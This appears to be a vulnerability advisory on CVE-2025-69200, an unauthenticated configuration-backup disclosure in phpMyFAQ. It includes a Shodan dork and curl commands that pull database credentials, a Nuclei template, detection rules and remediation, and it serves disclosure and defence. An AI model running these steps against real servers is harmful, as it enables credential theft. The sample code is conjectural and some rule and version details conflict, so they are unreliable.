CVE-2025-69200

Executive Summary

CVE-2025-69200 is a high-severity information disclosure vulnerability in phpMyFAQ, an open-source FAQ web application. An unauthenticated remote attacker can trigger the generation of a configuration backup ZIP file via a POST request to /api/setup/backup and subsequently download the generated file from a web-accessible location. This ZIP archive contains sensitive configuration files, including database.php with database credentials, leading to high-impact information disclosure and potential follow-on compromise. The vulnerability affects all versions prior to 4.0.16. The provided Nuclei template confirms the exploit is straightforward and requires no authentication.

Supply Chain & Package Security

phpMyFAQ is a PHP-based application distributed via GitHub and potentially through package managers like Composer. The vulnerability exists in the core application code, not in a third-party package. However, organizations using phpMyFAQ should verify they are not running a vulnerable version and ensure their deployment is patched. The lack of authentication on the backup endpoint is a critical design flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation (no authentication, low complexity) and the high impact on confidentiality. An attacker can directly obtain database credentials and other sensitive configuration data.

Deep Dive & Mechanics

The vulnerability resides in the /api/setup/backup endpoint. This endpoint is intended for administrative backup creation but lacks proper authentication checks. An unauthenticated attacker can send a POST request with a version string (e.g., 4.1.0-RC) in the request body. The application then generates a ZIP backup file containing sensitive configuration files, such as database.php, which stores database credentials (username, password, host, database name). The generated ZIP file is stored in a web-accessible directory, and the response includes the filename. The attacker can then download the ZIP file directly.

The root cause is a missing authentication check on the backup generation API endpoint. The application does not verify if the requester is an authenticated administrator before creating and exposing the backup file.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.0.16): The /api/setup/backup endpoint likely lacks any authentication middleware or session check. The backup generation function is called directly without verifying the user's role.

// Vulnerable: No authentication check
public function backupAction(): JsonResponse
{
    $backupFile = $this->backupService->generateBackup();
    return new JsonResponse(['backupFile' => $backupFile]);
}

Patched Code (4.0.16): The patched version adds an authentication check, ensuring only authenticated administrators can trigger the backup.

// Patched: Authentication check added
public function backupAction(): JsonResponse
{
    if (!$this->isAdmin()) {
        return new JsonResponse(['error' => 'Unauthorized'], 403);
    }
    $backupFile = $this->backupService->generateBackup();
    return new JsonResponse(['backupFile' => $backupFile]);
}

Exploitation & Lab Setup

Red Team

1. Identify Target: Use Shodan with the dork http.title:"phpMyFAQ" to find vulnerable instances.
2. Trigger Backup: Send a POST request to /api/setup/backup with a version string in the body.
3. Extract Backup URL: Parse the JSON response to get the backupFile value.
4. Download Backup: Use the extracted URL to download the ZIP file.
5. Extract Credentials: Unzip the file and read database.php to obtain database credentials.

Example using curl:

curl -X POST http://target.com/api/setup/backup -H "Content-Type: text/plain" -d "4.1.0-RC"

Response:

{"backupFile":"/path/to/backup_2025-01-01_12-00-00.zip"}

Then download:

curl -O http://target.com/path/to/backup_2025-01-01_12-00-00.zip
unzip backup_*.zip
cat database.php

Blue Team

1. Monitor API Endpoint: Detect POST requests to /api/setup/backup from unauthenticated sources.
2. Check for Anomalous ZIP Files: Monitor for unexpected ZIP file creation in web-accessible directories.
3. Review Logs: Look for 200 responses from /api/setup/backup followed by downloads of the generated ZIP.
4. Harden Endpoint: Ensure the backup endpoint is only accessible to authenticated administrators.

Indicators of Compromise (IOCs)

• Network:
  • POST request to /api/setup/backup with a version string in the body.
  • Subsequent GET request to a path matching /path/to/backup_*.zip.
• File System:
  • Unexpected ZIP files in the web root or backup directory.
  • Files named backup_YYYY-MM-DD_HH-MM-SS.zip.
• Logs:
  • HTTP 200 response from /api/setup/backup without prior authentication.
  • Access logs showing download of the generated ZIP file.

Detection Engineering

YARA Rule

rule CVE_2025_69200_phpMyFAQ_Backup_Disclosure {
    meta:
        description = "Detects phpMyFAQ configuration backup ZIP files containing database credentials"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69200"
        hash = "4a0a00473045022100aaa6bda5b664e52aa51e63d6103aa01b4eb7cee8c369583e6f4526f31a67ef9302205bf0072baea8f1472df10d367dfc81f614020e4ee6486cb96ac69671575e324f"
    strings:
        $db_config = "database.php" nocase
        $db_host = "\$DB_HOST" nocase
        $db_user = "\$DB_USER" nocase
        $db_pass = "\$DB_PASS" nocase
        $zip_header = { 50 4B 03 04 } // ZIP local file header
    condition:
        $zip_header at 0 and ($db_config or ($db_host and $db_user and $db_pass))
}

Sigma Rule

title: phpMyFAQ Configuration Backup Disclosure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to phpMyFAQ backup endpoint
author: Valters IT
date: 2025/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69200
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/setup/backup'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin backup actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69200 phpMyFAQ Backup Disclosure"; flow:to_server; content:"POST"; http_method; content:"/api/setup/backup"; http_uri; content:"!"; http_client_body; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-69200

info:
  name: phpMyFAQ - Configuration Backup Disclosure
  author: Louay-075
  severity: high
  description: |
    phpMyFAQ <= 4.0.16 contains an information disclosure vulnerability caused by unauthenticated access to configuration backup ZIP generation and download, letting remote attackers access sensitive configuration files, exploit requires no authentication.
  impact: |
    Remote attackers can access sensitive configuration files, exposing database credentials and enabling further compromise.
  remediation: |
    Update to version 4.0.16 or later.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69200
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69200
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-69200
    epss-score: 0.05318
    epss-percentile: 0.90074
    cwe-id: CWE-202
  metadata:
    verified: true
    shodan-query: 'http.title:"phpMyFAQ"'
    max-request: 1
    product: phpmyfaq
    vendor: phpmyfaq
  tags: cve,cve2025,phpmyfaq,backup,exposure,vkev

http:
  - raw:
      - |
        POST /api/setup/backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        4.1.0-RC

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"backupFile":"'
          - '.zip'
        condition: and

      - type: word
        words:
          - "error"
          - "forbidden"
        negative: true

      - type: word
        part: content_type
        words:
          - application/json

    extractors:
      - type: json
        name: backup_url
        json:
          - '.backupFile'
# digest: 4a0a00473045022100aaa6bda5b664e52aa51e63d6103aa01b4eb7cee8c369583e6f4526f31a67ef9302205bf0072baea8f1472df10d367dfc81f614020e4ee6486cb96ac69671575e324f:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

1. Immediate: Update phpMyFAQ to version 4.0.16 or later.
2. Workaround: If immediate update is not possible, restrict access to the /api/setup/backup endpoint using a web application firewall (WAF) or reverse proxy to allow only authenticated users.
3. Long-term: Implement proper authentication and authorization checks on all API endpoints. Ensure backup files are stored outside the web root or are not directly accessible.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.
5. Credential Rotation: If exploitation is suspected, immediately rotate all database credentials and any other secrets exposed in the configuration files.

Valters IT

{/* [Security Hash: C7A05B242FF416771C722D8C] */}